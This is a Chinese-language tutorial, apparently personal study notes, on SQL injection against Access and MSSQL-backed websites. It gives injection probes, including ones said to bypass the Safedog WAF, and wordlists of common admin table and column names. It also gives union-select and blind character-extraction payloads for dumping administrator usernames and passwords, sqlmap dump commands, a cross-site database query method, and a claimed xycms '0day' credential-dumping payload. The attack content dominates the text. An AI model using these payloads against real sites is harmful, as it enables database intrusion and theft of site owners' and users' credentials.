waf 安全狗

注入漏洞分析

网站分类

一个是静态
html或者htm 是一种静态的网页,不需要服务器解析的其中脚本 如浏览器 ie chrome等
特点
1 不依赖数据库
2灵活性差 制作 更新 维护麻烦
3交互性较差 在功能方面有较大的限制
4安全,不存在sql注入漏洞

一个是动态
asp aspx php jsp等 由相应的脚本引擎来解释执行,根据指令生成静态网页
1依赖数据库
2灵活性好 维护简单
3交互性好 功能强大
4存在安全风险 可能存在sql注入漏洞

动态的因为交互口多 所以存在很多的安全问题

常见的数据库

Access数据库(小型网站,企业网站 原先比较多的)
是以文件形式存在目录的
放在源码里的 用工具打开(用这两款打开)
打开之后就是一个表

Mssql数据库

sqlserver

常见的数据库
Mysql(这个一般是国内用很多的数据库) oracle (这个是比较大型企业 的用 而且很贵 安全性好) postgresql (国内用的不是很多 日本用的多 国外用的多)
Db2(比oracle还要大一些 很贵的)

网站访问模型

自己先发送一个http 请求头 这个是给web服务器来解析的 然后web服务器 解析到你的请求是什么 就在数据库管理系统里 查找 找到相应的 然后再发给你
漏洞成因
注入漏洞是怎么样形成的?
比如客服要查id为36的页面内容,这样就传给数据库,数据库进行解析 然后传到客户端
但是如果说在id=36的这个位置 被用户来控制,说你想要查什么 就差什么 那在这个位置加入一些语句 那就会进入数据库 在数据库执行了,有没有漏洞就在这个位置 ,就看这个数据库有没有在这个位置进行整个分析,这样就形成了 漏洞注入的问题(说白了就是对语句过滤的不严)

常见的注入流程


那平时为什么要用and1=1 和and 1= 2 来判别
就是说 在后边添加的and1=1是一个正确的逻辑
and 1= 2是一个错误的逻辑 先用and1=1来看这个页面是否正常 然后and1= 2页面反应不正常 这说明什么? 说明咱们写的语句 带到了它的源码的位置上 and1=1 是对的逻辑 所以页面没有报错 然而and1=2 是错的逻辑 所以那个网址它报错了,它的数据库没有过滤掉咱们添加的语句 说明是存在注入的. (waf有安全狗的话 它遇到and就会拦截)或者不用and 用,为什么用斜杠它也会报错 因为它带到数据库里不是一个正常的语句,那-0为什么正常 因为在id后减0 还是原来的 不影响,所以返回的是正常的网址 当然+0也是一样的(我说的是id后面比如id=31,31+0,31-0都是没有影响的)当然乘以1 也是一样的
注入的危害
危害 数据库大的话 拿到里数据库的权限那危害是非常大的 危害就不多说了
ACCESS数据库介绍
微软发布的
优势
就是减少代码量 进行高效复用等
缺陷
就是达到100M性能就会下降等

一般暴库的话 就是conn文件 找到路径就能得到管理员的账号和密码 了 有的数据库是可以设置密码的, 密码可能在 xyconn.asp这种文件会写的
asp连接access数据库代码
打开工具
数据库后缀

*.mdb

常用打开工具
辅臣数据库浏览器
破障浏览器

数据库查询分析.
Access数据库注入原理
漏洞判断
判断注入点

And 1=1
And 1=2
/
-0
可以过掉安全狗的
.0(返回正常)
.1(返回错误)
(有的时候返回错误,是你注入的错误,有的就是数据的返回错误,就是说这种情况也是把你所添加的也带到了数据库里)
判断数据库注入
and exsits(select *from msysobjects>
access
类似于这种就是access的错误
and exsite (select *from sysobjects)>0
sqlsever
判断数据库表
and exists (select * from admin) 这个意思就是 存在查询 admin的表 如果表存在的话就是返回正常 如果不存在返回的就不是正常的,试以下的表 网页正常 就说明这个就存在这个表
access数据库
常见的管理员表明

admin
admin_user
admin_msg
admin_usr
admin_login
username
manager
manag
msg_user
msg_login
useradmin
user_msg
userlogin
users
member
判断数据库列名
and exists (select admin from admin)(中的admin是可以用下面替换的)
管理员表下常见的管理员列名
admin
admin_user
username
users
usr
user_login
user_name
name
loginame
admin_login
msg_name

密码列名:
password
pwd
pass
user_pass

ACCESS注入
判断字段长度
order by 1 (后边数就是看有多少列 ,如果缩所写的数字大于他本身的列 他就会报错)查的是谁的表的 就是前边的id的表
来判断有多少列,列进行排序
判断
and 1=2 union select 1,2,3,4,5,6,7,8,9 from admin 意思就是查询7列 查的是admin这个表
大体意思就是从这个表中查询7列
暴的话就暴非数字类型列上,因为账号密码是非数字类型列
数据库联合查询
.and 1=2 union select 1,2,admin,4,pawword,6,7,8,9 from admin
(位置上不一定是3,5的位置 放在那里都可以暴出来)
其他的
判断账号密码的长度

and(select len(admin)from admin)=5 如果返回正常说明管理员账号的长度为5
意思就是判断admin表下得admin列下的数据是否等于5个 就是管理员表名的长度
and(select len(password)from admin)=5 就是判断密码的用户名的长度 数字5可以替换

这个就是判断管理员的用户名
and (select top 1 asc(mid(admin,3,1))from admin_user)=数字
意思就是admin就是用户名 3就是第三个用户名的字母 1 就是第一列 后边用数字来判断第三个密码是啥
把admin换成password 就是密码 3就是密码的第三个密码的字母

这里简单说下sqlmap
sqlmap.py -u "目标地址"回车让它判断是否有注入
sqlmap.py -u “目标地址” --tables 列一下它的表
sqlmap.py -u “目标地址” --colums -T admin 意思就是把admin表列明
sqlmap.py -u “目标地址” --T admin -C admin,password --dump 列数据
整体的用法

跨库查询(意思就是通过A站来查B站的数据信息)要满足的条件 .要知道B站的绝对路径
B站的表名 B站的列名
条件 同服务器下的站点有注入,知道对方站的数据库绝对路径,知道对方数据库表,表中的字段名可以用这个方法来跨库查询
绝对路径 (D:/wwwroot/…*.mdb .asa.asp)
主要是这个绝对路径
类似于这些写法
就是用了A站的在注入点 然后去查B站的账户密码

挖掘0day
xycms
通杀0day
union select 1,admin,3,4,password,6,7 from admin_user

更多推荐

Access数据库,以及一些其他的库。